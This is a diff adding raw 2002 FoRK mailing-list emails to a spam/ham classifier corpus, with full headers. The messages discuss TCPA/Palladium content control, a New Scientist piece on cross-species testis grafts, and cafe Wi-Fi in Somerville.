+Gojomo: +>How about a highly error corrected atomic level 3D encoding scheme that +>relies on shape, colour and chemical make up to uniquely identify every +>object in the universe. Objects uniquely identify themselves - theres no +>need for barcodes. + +That might work easily enough for reasonably rigid +solids that can be positioned and fingerprinted. I +think it would be more difficult for other items. +Like a sweater. The exact pattern of threads is never +quite the same, with the loose weave and all. The +problem of automatically capturing any object's look, +adequately to uniquely identifying it later, is still +open research. + + + +_________________________________________________________________ +Send and receive Hotmail on your mobile device: http://mobile.msn.com + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01027.1b67a4a361d16a5cb481268792b3c548 b/bayes/spamham/easy_ham_2/01027.1b67a4a361d16a5cb481268792b3c548 new file mode 100644 index 0000000..a425654 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01027.1b67a4a361d16a5cb481268792b3c548 @@ -0,0 +1,80 @@ +From fork-admin@xent.com Wed Aug 14 11:01:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7B91643C38 + for ; Wed, 14 Aug 2002 05:52:36 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:52:36 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7E9F2408258 for ; + Wed, 14 Aug 2002 10:15:02 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id CE5992940E8; Wed, 14 Aug 2002 02:13:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mta5.rcsntx.swbell.net (mta5.rcsntx.swbell.net + [151.164.30.29]) by xent.com (Postfix) with ESMTP id AD9FC2940CC for + ; Wed, 14 Aug 2002 02:12:33 -0700 (PDT) +Received: from faisal-com.local. ([66.127.53.6]) by mta5.rcsntx.swbell.net + (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id + <0H0T00JWNTMYWE@mta5.rcsntx.swbell.net> for fork@xent.com; Wed, + 14 Aug 2002 04:13:47 -0500 (CDT) +From: "Faisal N. Jawdat" +Subject: Re: TCPA and Palladium: Content Control for the Masses +In-Reply-To: <3D5A155A.838D33BF@RealMeasures.dyndns.org> +To: fork@spamassassin.taint.org +Message-Id: <2771346E-AF66-11D6-A005-003065F685A6@faisal.com> +MIME-Version: 1.0 (Apple Message framework v543) +X-Mailer: Apple Mail (2.543) +Content-Type: text/plain; format=flowed; charset=US-ASCII +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 14 Aug 2002 02:13:53 -0700 + +> The most significant problem with TCPA and Palladium is not +> whether they may interfere with the power of the universal +> logic device, or whether they are effectual from the +> standpoint of privacy and security concerns, though these +> are all very important concerns. Rather, the fundamental +> problem they present is in the political premises that they +> hope to implement for the sake of the "content industries." + + I've been thinking about this sort of thing + lately, and how the technological realization + of these issues is one that enforces *absolute* + control of content, where the original legal + strictures (copyright) only enforced a limited + time limited right to content. + + What I'm wondering is this: if you give + people absolute control of copyright, whose + works will be around in 100 years? Because + I'm starting to think that the content + creator who wants to produce for posterity + had better do it in such a way that the + content is *not* "protected", or the content + will be inaccessible to people in 15 years, + much less 100. + + This of course assumes that the content + control mechanisms aren't so pervasive that + one *cannot* create content without going + through controlled channels. + + -faisal + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01028.ed554ad8d1dc54df1d58a4bb88c1d61b b/bayes/spamham/easy_ham_2/01028.ed554ad8d1dc54df1d58a4bb88c1d61b new file mode 100644 index 0000000..30af47c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01028.ed554ad8d1dc54df1d58a4bb88c1d61b @@ -0,0 +1,143 @@ +From fork-admin@xent.com Wed Aug 14 11:01:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3EE9E44101 + for ; Wed, 14 Aug 2002 05:52:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:52:35 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7E8dD407178 for ; + Wed, 14 Aug 2002 09:39:13 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 917D02940E1; Wed, 14 Aug 2002 01:37:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from pintail.mail.pas.earthlink.net + (pintail.mail.pas.earthlink.net [207.217.120.122]) by xent.com (Postfix) + with ESMTP id 7E19F2940E0 for ; Wed, 14 Aug 2002 01:36:32 + -0700 (PDT) +Received: from dialup-209.246.77.48.dial1.newyork1.level3.net + ([209.246.77.48] helo=realmeasures.dyndns.org) by + pintail.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id + 17eteg-0006xb-00 for fork@xent.com; Wed, 14 Aug 2002 01:37:32 -0700 +Received: from RealMeasures.dyndns.org by realmeasures.dyndns.org with + SMTP (MDaemon.v2.8.7.5.R) for ; Wed, 14 Aug 2002 04:31:23 + -0400 +Message-Id: <3D5A155A.838D33BF@RealMeasures.dyndns.org> +From: Seth Johnson +Organization: Real Measures +X-Mailer: Mozilla 4.79 [en] (Win98; U) +X-Accept-Language: en +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Subject: TCPA and Palladium: Content Control for the Masses +References: <20020809220920.E39127@networkcommand.com> +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +X-Mdaemon-Deliver-To: fork@spamassassin.taint.org +X-Return-Path: seth.johnson@realmeasures.dyndns.org +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 14 Aug 2002 04:31:22 -0400 + + +TCPA and Palladium: Content Control for the Masses + +While security experts poke and jab at what bits and pieces +of the TCPA and Palladium specs they can get ahold of, they +have tended to focus on how they work and what they imply as +far as concerns such as privacy and security go, or +alternatively, in terms of how they would impact the +functionality of the general purpose logic device. Analysts +both favorable and unfavorable have been analyzing them from +these standpoints, while paying much less attention to what +the proposals imply from the standpoint of what content +control itself really means. + +The most significant problem with TCPA and Palladium is not +whether they may interfere with the power of the universal +logic device, or whether they are effectual from the +standpoint of privacy and security concerns, though these +are all very important concerns. Rather, the fundamental +problem they present is in the political premises that they +hope to implement for the sake of the "content industries." + +TCPA and Palladium are the technological realization of the +concepts embodied in the WIPO Performances and Phonograms +Treaty (WPPT), which only came into effect this past May +20th (with little public notice or fanfare, of course). The +WPPT declares an unprecedented "moral right" of authors to +control public uses of their works. + +*That's* the real game plan. + +TCPA and Palladium are simply content control for the +masses. They constitute an effort to "democratize" content +control under the concept of "moral rights," encouraging the +public to overlook the clear public interest issues raised +by the specter of content control, and to confuse these +issues with private interest issues such as privacy and +security. They are an effort to get the public to jump on +the bandwagon without adequate consideration of what's +really on the line. + +In America, we have never supported the concept of "moral +rights" which the WPPT professes. The US Constitution +accords Congress the power to grant (or deny) exclusive +rights to works and inventions for the purpose of promoting +the progress of the useful arts and sciences, not for the +purpose of rewarding the originality of creators -- though +that result is obviously a consequence of exclusive rights +statutes such as copyright law. Our Supreme Court +explicitly articulates this distinction, and for very good +reason. In America, we implicitly understand the +distinction between expression, the aspect of works to which +copyright statute applies, and the facts and ideas that make +up a work, to which it does *not* apply. + +The reason for this is essential and unavoidable, and must +be stated clearly and unequivocally at this juncture: +information is free. It's not that it *wants* to be -- it +*is* and it always has been. This fact is unassailable, +however, unless we let come to pass a world that subscribes +to "universal content control" for the sake of so-called +"moral rights" implemented at the behest of narrow content +industry interests. + +TCPA and Palladium are initiatives that hope to encourage +the general public, and more specifically producers of +information products in general, to identify content control +with "moral rights," blithely overlooking the real +implications of information technology in a free society, +and the long tradition of American jurisprudence upholding +the freedom intrinsic to information, a freedom on which the +prospects of information technology crucially depend. + +Seth Johnson + +-- + +[CC] Counter-copyright: +http://cyber.law.harvard.edu/cc/cc.html + +I reserve no rights restricting copying, modification or +distribution of this incidentally recorded communication. +Original authorship should be attributed reasonably, but +only so far as such an expectation might hold for usual +practice in ordinary social discourse to which one holds no +claim of exclusive rights. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01029.09304353cc025c0198421b5016a0b81c b/bayes/spamham/easy_ham_2/01029.09304353cc025c0198421b5016a0b81c new file mode 100644 index 0000000..f28b58b --- /dev/null +++ b/bayes/spamham/easy_ham_2/01029.09304353cc025c0198421b5016a0b81c @@ -0,0 +1,170 @@ +From fork-admin@xent.com Thu Aug 15 18:54:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8EBDA43C36 + for ; Thu, 15 Aug 2002 13:54:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 15 Aug 2002 18:54:12 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7FHpQi11199 for ; + Thu, 15 Aug 2002 18:51:31 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 3819D29409A; Thu, 15 Aug 2002 10:49:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mta5.snfc21.pbi.net (mta5.snfc21.pbi.net [206.13.28.241]) + by xent.com (Postfix) with ESMTP id BDFCD294098 for ; + Thu, 15 Aug 2002 10:48:57 -0700 (PDT) +Received: from antoun.attglobal.net/smtp1.attglobal.net ([66.125.95.204]) + by mta5.snfc21.pbi.net (iPlanet Messaging Server 5.1 (built May 7 2001)) + with ESMTP id <0H0W00L8TC7KLI@mta5.snfc21.pbi.net> for fork@xent.com; + Thu, 15 Aug 2002 10:50:09 -0700 (PDT) +From: Antoun Nabhan +Subject: So what's a species again? +X-Sender: usinet.anabhan@pop5.attglobal.net (Unverified) +To: fork@spamassassin.taint.org +Message-Id: <5.1.0.14.2.20020815104909.00a82e30@pop6.attglobal.net> +MIME-Version: 1.0 +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +Content-Type: multipart/alternative; + boundary="=====================_4805122==_.ALT" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 15 Aug 2002 10:50:13 -0700 + +--=====================_4805122==_.ALT +Content-Type: text/plain; charset="us-ascii"; format=flowed + +Well, all the transhumanists should be very interested in this one: + + +>Cross-species testes transplant successful + +>19:00 14 August 02 NewScientist.com news service +>Testis tissue from goats and pigs has been grafted onto the backs of mice +>and shown to produce normal sperm, capable of fertilising eggs. +>It is the first time testis tissue from such distant species has produced +>mature sperm when grafted in mice. "It might work for primates or even +>humans," claims Ina Dobrinski of the University of Pennsylvania, one of +>the co-authors of the study. +>If so, the technique could be used to preserve the reproductive potential +>of male cancer patients about to undergo therapies that would destroy +>their ability to make sperm. +>Men often freeze sperm samples before receiving chemotherapy, but young +>boys cannot do this because they do not produce mature sperm. If it works +>in humans, the technique would allow testis tissue grafted from boys to +>mature and produce sperm. +> +>Infectious particles +>The mouse grafting technique also has an advantage over another option for +>preserving fertility - testicular transplants. These involve re-implanting +>preserved germ cells into the testes after cancer remission. +>But the grafting approach "would eliminate any possibility of passing +>cancer cells back to the patient," says reproductive biologist Michael +>Griswold from Washington State University. +>However, it is possible that the grafting procedure could introduce +>mouse-derived infectious particles into human embryos, making some +>scientists wary of the idea. "I would very much hesitate to say that it's +>something we should be doing," says reproductive biologist Roger Gosden of +>the East Virginia Medical School. +> +>Castrated mice +>In the study, Dobrinski and colleagues placed small pieces of testis +>tissue from newborn goats or pigs just under the skin on the backs of +>castrated mice. Two to four weeks later, they found that more than half of +>the 477 grafts had survived and were producing normal-looking goat or pig +>sperm. +>When they injected the graft-derived sperm directly into eggs they saw +>clear signs of fertilisation, indicating that the sperm function normally. +>The researchers also found that the procedure worked just as well with +>testis tissue that had been refrigerated for two days or frozen for +>several weeks. +>Gosden has tried transplanting human testes tissue into mice, but was not +>successful. However, Dobrinski believes the technique could soon be used +>to preserve the germ lines of endangered species, including rare animals +>that usually die in captivity before reaching sexual maturity. "We think +>that's a very real application," she says. +>She adds that mice with human testis tissue grafts would also be useful to +>scientists who want to test the effects of toxic substances and new +>contraceptives on human sperm production. +>Journal reference: Nature (vol 418, p 778) +>Robin Orwant + + + + +--=====================_4805122==_.ALT +Content-Type: text/html; charset="us-ascii" + + +Well, all the transhumanists should be very interested in this one:
+<http://www.newscientist.com/news/news.jsp?id=ns99992677>

+

Cross-species testes transplant +successful

+
19:00 14 August 02 NewScientist.com +news service
+Testis tissue from goats and pigs has been grafted onto the backs of mice +and shown to produce normal sperm, capable of fertilising eggs.
+It is the first time testis tissue from such distant species has produced +mature sperm when grafted in mice. "It might work for primates or +even humans," claims Ina Dobrinski of the University of +Pennsylvania, one of the co-authors of the study.
+If so, the technique could be used to preserve the reproductive potential +of male cancer patients about to undergo therapies that would destroy +their ability to make sperm.
+Men often freeze sperm samples before receiving chemotherapy, but young +boys cannot do this because they do not produce mature sperm. If it works +in humans, the technique would allow testis tissue grafted from boys to +mature and produce sperm.

+Infectious particles
+The mouse grafting technique also has an advantage over another option +for preserving fertility - testicular transplants. These involve +re-implanting preserved germ cells into the testes after cancer +remission.
+But the grafting approach "would eliminate any possibility of +passing cancer cells back to the patient," says reproductive +biologist Michael Griswold from Washington State University.
+However, it is possible that the grafting procedure could introduce +mouse-derived infectious particles into human embryos, making some +scientists wary of the idea. "I would very much hesitate to say that +it's something we should be doing," says reproductive biologist +Roger Gosden of the East Virginia Medical School.

+Castrated mice
+In the study, Dobrinski and colleagues placed small pieces of testis +tissue from newborn goats or pigs just under the skin on the backs of +castrated mice. Two to four weeks later, they found that more than half +of the 477 grafts had survived and were producing normal-looking goat or +pig sperm.
+When they injected the graft-derived sperm directly into eggs they saw +clear signs of fertilisation, indicating that the sperm function +normally. The researchers also found that the procedure worked just as +well with testis tissue that had been refrigerated for two days or frozen +for several weeks.
+Gosden has tried transplanting human testes tissue into mice, but was not +successful. However, Dobrinski believes the technique could soon be used +to preserve the germ lines of endangered species, including rare animals +that usually die in captivity before reaching sexual maturity. "We +think that's a very real application," she says.
+She adds that mice with human testis tissue grafts would also be useful +to scientists who want to test the effects of toxic substances and new +contraceptives on human sperm production.
+Journal reference: Nature (vol 418, p 778)
+Robin Orwant


+
+ + +--=====================_4805122==_.ALT-- + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01030.d652d5419de6c6e87b15ed801d1ae1e6 b/bayes/spamham/easy_ham_2/01030.d652d5419de6c6e87b15ed801d1ae1e6 new file mode 100644 index 0000000..68ae504 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01030.d652d5419de6c6e87b15ed801d1ae1e6 @@ -0,0 +1,59 @@ +From fork-admin@xent.com Fri Aug 16 11:27:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8BCA4441A4 + for ; Fri, 16 Aug 2002 06:03:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:03:23 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7FKd8717169 for ; + Thu, 15 Aug 2002 21:39:09 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 15AFD29409A; Thu, 15 Aug 2002 13:37:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from pallas.eruditorum.org (pallas.eruditorum.org + [63.251.136.85]) by xent.com (Postfix) with ESMTP id 9A1A4294098 for + ; Thu, 15 Aug 2002 13:36:47 -0700 (PDT) +Received: by pallas.eruditorum.org (Postfix, from userid 500) id + 52C9811260; Thu, 15 Aug 2002 16:38:06 -0400 (EDT) +From: Jesse +To: fork@spamassassin.taint.org +Subject: It's a small world +Message-Id: <20020815203806.GM2724@pallas.fsck.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.5.1i +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 15 Aug 2002 16:38:06 -0400 + +Strata just walked up to me in a cafe in Somerville, MA and +asked me how I was getting net here. And _then_ we figured out +that we have shared context. + + Jesse +-- +jesse reed vincent -- root@eruditorum.org -- jesse@fsck.com +70EBAC90: 2A07 FC22 7DB4 42C1 9D71 0108 41A3 3FB3 70EB AC90 + +I have images of Marc in well worn combat fatigues, covered in mud, +sweat and blood, knife in one hand and PSION int he other, being +restrained by several other people, screaming "Let me at it! +Just let me at it!" Eichin standing calmly by with something +automated, milspec, and likely recoilless. + -monty on opensource peer review +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01031.3af0caaebbc1015e779f15aeda6b15a1 b/bayes/spamham/easy_ham_2/01031.3af0caaebbc1015e779f15aeda6b15a1 new file mode 100644 index 0000000..bfaae6b --- /dev/null +++ b/bayes/spamham/easy_ham_2/01031.3af0caaebbc1015e779f15aeda6b15a1 @@ -0,0 +1,55 @@ +From fork-admin@xent.com Fri Aug 16 11:27:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 755F7441A5 + for ; Fri, 16 Aug 2002 06:03:24 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:03:24 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7FKs8717782 for ; + Thu, 15 Aug 2002 21:54:08 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1021C2940A7; Thu, 15 Aug 2002 13:52:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain (h00045acfa2be.ne.client2.attbi.com + [65.96.178.138]) by xent.com (Postfix) with ESMTP id E6EDD294098 for + ; Thu, 15 Aug 2002 13:51:34 -0700 (PDT) +Received: (from louie@localhost) by localhost.localdomain (8.11.6/8.11.6) + id g7FKp7P05320; Thu, 15 Aug 2002 16:51:07 -0400 +X-Authentication-Warning: localhost.localdomain: louie set sender to + louie@ximian.com using -f +Subject: Re: It's a small world +From: Luis Villa +To: fork@spamassassin.taint.org +In-Reply-To: <20020815203806.GM2724@pallas.fsck.com> +References: <20020815203806.GM2724@pallas.fsck.com> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Message-Id: <1029444667.5235.1.camel@localhost.localdomain> +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 15 Aug 2002 16:51:07 -0400 + +On Thu, 2002-08-15 at 16:38, Jesse wrote: +> Strata just walked up to me in a cafe in Somerville, MA and +> asked me how I was getting net here. And _then_ we figured out +> that we have shared context. + +The obvious followup is 'there's a cafe in somerville with net access?' +Luis [19 Pitman St.] +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01032.d4f63af77c63f34b27f6da259cfd0f0c b/bayes/spamham/easy_ham_2/01032.d4f63af77c63f34b27f6da259cfd0f0c new file mode 100644 index 0000000..37fd992 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01032.d4f63af77c63f34b27f6da259cfd0f0c @@ -0,0 +1,70 @@ +From fork-admin@xent.com Fri Aug 16 11:27:17 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9CA8A43C4A + for ; Fri, 16 Aug 2002 06:03:25 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:03:25 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7FL29717941 for ; + Thu, 15 Aug 2002 22:02:09 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id F19012940AF; Thu, 15 Aug 2002 14:00:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from dream.darwin.nasa.gov (betlik.darwin.nasa.gov + [198.123.160.11]) by xent.com (Postfix) with ESMTP id A5AA5294098 for + ; Thu, 15 Aug 2002 13:59:37 -0700 (PDT) +Received: from cse.ucsc.edu (paperweight.darwin.nasa.gov [198.123.160.27]) + by dream.darwin.nasa.gov ( -- Info omitted by ASANI Solutions, + LLC.) with ESMTP id g7FL0ph22890 for ; Thu, 15 Aug 2002 + 14:00:51 -0700 (PDT) +Message-Id: <3D5C1683.7060007@cse.ucsc.edu> +From: Elias Sinderson +Reply-To: fork@spamassassin.taint.org +User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:0.9.4.1) + Gecko/20020518 Netscape6/6.2.3 +X-Accept-Language: en-us +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Subject: Re: It's a small world +References: <20020815203806.GM2724@pallas.fsck.com> + <1029444667.5235.1.camel@localhost.localdomain> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 15 Aug 2002 14:00:51 -0700 + +Or even "When did Somerville get the internet?" ;-) + +E + +Luis Villa wrote: + +>On Thu, 2002-08-15 at 16:38, Jesse wrote: +> +>>Strata just walked up to me in a cafe in Somerville, MA and +>>asked me how I was getting net here. And _then_ we figured out +>>that we have shared context. +>> +> +>The obvious followup is 'there's a cafe in somerville with net access?' +>Luis [19 Pitman St.] +>http://xent.com/mailman/listinfo/fork +> + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01033.a396fa47cdd01877eacd823d55cb6dec b/bayes/spamham/easy_ham_2/01033.a396fa47cdd01877eacd823d55cb6dec new file mode 100644 index 0000000..7188e52 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01033.a396fa47cdd01877eacd823d55cb6dec @@ -0,0 +1,88 @@ +From fork-admin@xent.com Fri Aug 16 11:27:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6E6A0441A6 + for ; Fri, 16 Aug 2002 06:03:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:03:26 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7FLB7718345 for ; + Thu, 15 Aug 2002 22:11:08 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 9FA6C29409A; Thu, 15 Aug 2002 14:09:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.evergo.net (unknown [206.191.151.2]) by xent.com + (Postfix) with SMTP id 537C6294098 for ; Thu, + 15 Aug 2002 14:08:07 -0700 (PDT) +Received: (qmail 17348 invoked from network); 15 Aug 2002 21:09:26 -0000 +Received: from dsl.206.191.151.102.evergo.net (HELO JMHALL) + (206.191.151.102) by mail.evergo.net with SMTP; 15 Aug 2002 21:09:26 -0000 +Reply-To: +From: "John Hall" +To: +Subject: RE: It's a small world +Message-Id: <007d01c244a0$098a7440$0200a8c0@JMHALL> +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Importance: Normal +In-Reply-To: <3D5C1683.7060007@cse.ucsc.edu> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 15 Aug 2002 14:09:26 -0700 + +There was internet in Arleigh Beach Australia (see one end of town from +the other) 6 years ago. + +That is when I figured the Internet was truly global ... + + + +> -----Original Message----- +> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of +Elias +> Sinderson +> Sent: Thursday, August 15, 2002 2:01 PM +> To: fork@spamassassin.taint.org +> Subject: Re: It's a small world +> +> Or even "When did Somerville get the internet?" ;-) +> +> E +> +> Luis Villa wrote: +> +> >On Thu, 2002-08-15 at 16:38, Jesse wrote: +> > +> >>Strata just walked up to me in a cafe in Somerville, MA and +> >>asked me how I was getting net here. And _then_ we figured out +> >>that we have shared context. +> >> +> > +> >The obvious followup is 'there's a cafe in somerville with net +access?' +> >Luis [19 Pitman St.] +> >http://xent.com/mailman/listinfo/fork +> > +> +> +> http://xent.com/mailman/listinfo/fork + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01034.dfbf896d7886256666b2d4c66d211a58 b/bayes/spamham/easy_ham_2/01034.dfbf896d7886256666b2d4c66d211a58 new file mode 100644 index 0000000..fe777fe --- /dev/null +++ b/bayes/spamham/easy_ham_2/01034.dfbf896d7886256666b2d4c66d211a58 @@ -0,0 +1,81 @@ +From fork-admin@xent.com Fri Aug 16 11:27:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AD8EC441A7 + for ; Fri, 16 Aug 2002 06:03:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:03:27 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7FLa7719150 for ; + Thu, 15 Aug 2002 22:36:08 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 994872940BA; Thu, 15 Aug 2002 14:34:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from pallas.eruditorum.org (pallas.eruditorum.org + [63.251.136.85]) by xent.com (Postfix) with ESMTP id 9EDF6294098 for + ; Thu, 15 Aug 2002 14:33:45 -0700 (PDT) +Received: by pallas.eruditorum.org (Postfix, from userid 500) id + 2C5E11116A; Thu, 15 Aug 2002 17:35:04 -0400 (EDT) +From: Jesse +To: Luis Villa +Cc: fork@spamassassin.taint.org +Subject: Re: It's a small world +Message-Id: <20020815213504.GO2724@pallas.fsck.com> +References: <20020815203806.GM2724@pallas.fsck.com> + <1029444667.5235.1.camel@localhost.localdomain> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <1029444667.5235.1.camel@localhost.localdomain> +User-Agent: Mutt/1.5.1i +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 15 Aug 2002 17:35:04 -0400 + +Short version: +T-Mobile Broadband is in the process of wiring every starbucks in the area +(T1 backhauled to some ~local POP + 802.11) as part of what I'm told is a +national rollout. The Diesel is close enough to the Elm St starbucks for me +to get reasonable net throughout most of the cafe. + +The rumor is that they'll be announcing that they've got boston covered on +the 21st. I've heard from at least one source that they're actually going +to announce a much wider national rollout at that time. It's not 